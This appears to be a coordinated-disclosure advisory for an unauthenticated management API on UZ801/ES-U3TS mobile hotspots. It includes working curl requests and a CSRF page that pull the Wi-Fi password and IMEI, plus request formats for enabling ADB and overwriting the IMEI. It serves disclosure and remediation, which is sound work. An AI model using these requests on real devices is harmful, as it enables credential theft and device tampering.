CVE-2026-52200

UZ801 / ES-U3TS MifiService Broken Access Control

Security advisory and technical notes for a broken access control issue in the embedded web management API exposed by MifiService.apk on the OEM / white-label UZ801_v2.1 4G LTE mobile Wi-Fi platform, also observed marketed as ES-U3TS.

This repository is intended to support coordinated disclosure and CVE assignment. It focuses on reproducible, non-weaponized technical evidence.

Summary

The affected device exposes a Jetty-based HTTP management endpoint at:

http://192.168.100.1/ajax

The backend request dispatcher is implemented in:

com.mifiservice.server.AjaxSevlet

Although the web UI presents a login page, the backend does not enforce a valid authenticated server-side session for most management functions. As a result, an attacker on the adjacent network can directly invoke sensitive funcNo operations without authentication.

Verified impact includes:

• extraction of the current Wi-Fi password in cleartext
• extraction of IMEI, firmware information, SIM status, and network configuration
• extraction of DHCP and MAC filter configuration
• modification and persistence of management configuration without authentication
• triggering configuration reset and device reboot without authentication

Additional high-risk functions were confirmed by static analysis, including:

• reboot to bootloader
• enabling hidden ADB / Qualcomm Diag USB modes and rebooting
• undocumented IMEI overwrite functionality

Scope and naming

The tested hardware appears to belong to an OEM / white-label device family. The exact original development vendor is currently unknown, and no reliable vendor security contact has been identified so far.

This advisory therefore uses the following product naming:

• Platform: UZ801_v2.1
• Observed marketing alias: ES-U3TS
• Observed firmware: UZ801-V3.4.3
• Observed app: MifiService.apk
• Observed package: com.mifiservice.hello

If additional brands or resellers are found to ship the same firmware, APK, web assets, and funcNo behavior, they should be treated as likely affected variants of the same codebase.

Affected component

• /ajax Web API endpoint
• MifiService.apk
• com.mifiservice.server.AjaxSevlet

Root cause

This is not primarily a default-credential issue.

The root cause is broken access control in the backend API:

• no authenticated server-side session is enforced for most management requests
• no CSRF protection is present
• no Origin validation is present
• no Referer validation is present
• no session cookie or token is required for most sensitive functions

The login function exists, but it does not provide meaningful authorization boundaries for the majority of the management API.

Threat model

Primary attack vector:

• adjacent network attacker connected to the device hotspot

Secondary attack vector:

• browser-based CSRF / drive-by exploitation against a victim currently connected to the device LAN

This is not an internet-exposed remote attack by default. The attacker must either:

• have direct Layer 2 / Layer 3 reachability to 192.168.100.1, or
• coerce a connected victim browser into sending requests to the device endpoint

Evidence status

All findings below are included as affected functionality of the same broken access control issue.
Where relevant, each item is explicitly marked as either:

• Live validated
• Confirmed by static analysis

This distinction is preserved for accuracy. High-risk functionality is not mislabeled as live-tested when it was intentionally not executed on public hardware.

Technical findings by function group

Unauthenticated information disclosure

Unauthenticated configuration modification

Unauthenticated disruptive / administrative actions

Undocumented or maintenance-style functionality

Vendor status

• Original upstream vendor: unknown
• Product type: OEM / white-label mobile router platform
• Reliable PSIRT / security contact: not identified
• Current disclosure state: vendor unreachable / no confirmed vendor security channel

At the time of writing, the device appears to be sold through OEM / reseller channels with inconsistent or absent branding, and no trustworthy original development vendor contact has been established.

Safe PoC examples

The examples below are intentionally limited to read-only or low-impact validation. They are included to demonstrate the vulnerability without providing a weaponized exploitation workflow.

1. Read current Wi-Fi password without authentication

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1002}' \
  http://192.168.100.1/ajax

Expected behavior:

• returns JSON
• includes ssid
• includes pwd in cleartext

2. Read device identifier information without authentication

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1029}' \
  http://192.168.100.1/ajax

Expected behavior:

• returns JSON
• includes imei
• includes fwversion

3. Demonstrate unauthorized persistent write access using a low-risk field

Read current language:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1030}' \
  http://192.168.100.1/ajax

Set language:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1031,"Language":"Chinese"}' \
  http://192.168.100.1/ajax

Restore original value afterward.

4. Browser-based CSRF concept

This endpoint does not enforce session state or Origin / Referer validation. A connected victim browser can therefore be abused to send background requests.

Minimal demonstration page:

<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({funcNo: 1002})
});
</script>

This example is intentionally limited to a read-only function number. Do not deploy it against users or production devices.

Non-public / high-risk request formats

The following JSON formats are documented for defensive analysis and triage only. They are not accompanied by execution steps here.

2001 - enable hidden debug interfaces

{"funcNo":2001}

Observed behavior in code:

• executes setprop persist.sys.usb.config rndis,serial_smd,diag,adb
• executes sync
• reboots the device

2004 - IMEI overwrite path

{"funcNo":2004,"imei":"<redacted-test-value>"}

Observed behavior in code:

• calls a path equivalent to AT+WRIMEI=<value>
• checks success via a follow-up IMEI readback path

No public live test is included here due to legal, compliance, and device-integrity concerns.

Evidence excerpts

Example unauthenticated response for 1002

{
  "results": [
    {
      "dns1": "8.8.8.8",
      "ssid": "4G-UFI-8E1",
      "dns2": "8.8.8.8",
      "mask": "255.255.255.0",
      "pwd": "1234567890",
      "wlan_ip": "192.168.100.1",
      "IP": "192.168.100.1"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

Example unauthenticated response for 1029

{
  "results": [
    {
      "manufacture": "Qualcomm Technology",
      "dbm": "",
      "fwversion": "V3.4.3",
      "imei": "863993064154463"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

Why this is a CVE candidate

This issue is a strong CVE candidate because it is:

• reproducible on a customer-controlled device
• reachable by an adjacent-network attacker
• not dependent on undocumented physical modification
• not merely a default-password issue
• impactful across confidentiality, integrity, and availability

Suggested classification:

• CWE-306 Missing Authentication for Critical Function
• CWE-862 Missing Authorization

Suggested CVSS:

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Disclosure status

• Static analysis completed: 2026-05-11
• Live validation completed: 2026-05-12
• Vendor contact preparation completed: 2026-05-12
• Public advisory draft prepared: 2026-05-12

Mitigations

• require a valid server-side authenticated session for all management functions
• reject all sensitive funcNo requests without authentication
• add CSRF protection
• validate Origin and Referer
• remove undocumented maintenance endpoints from production builds
• never expose Wi-Fi credentials through unauthenticated API responses

Legal and safety notice

This repository is intended for defensive research, vulnerability disclosure, and coordination. Public examples are intentionally limited to low-risk validation. High-risk functionality is documented only to the extent necessary for remediation and CVE triage.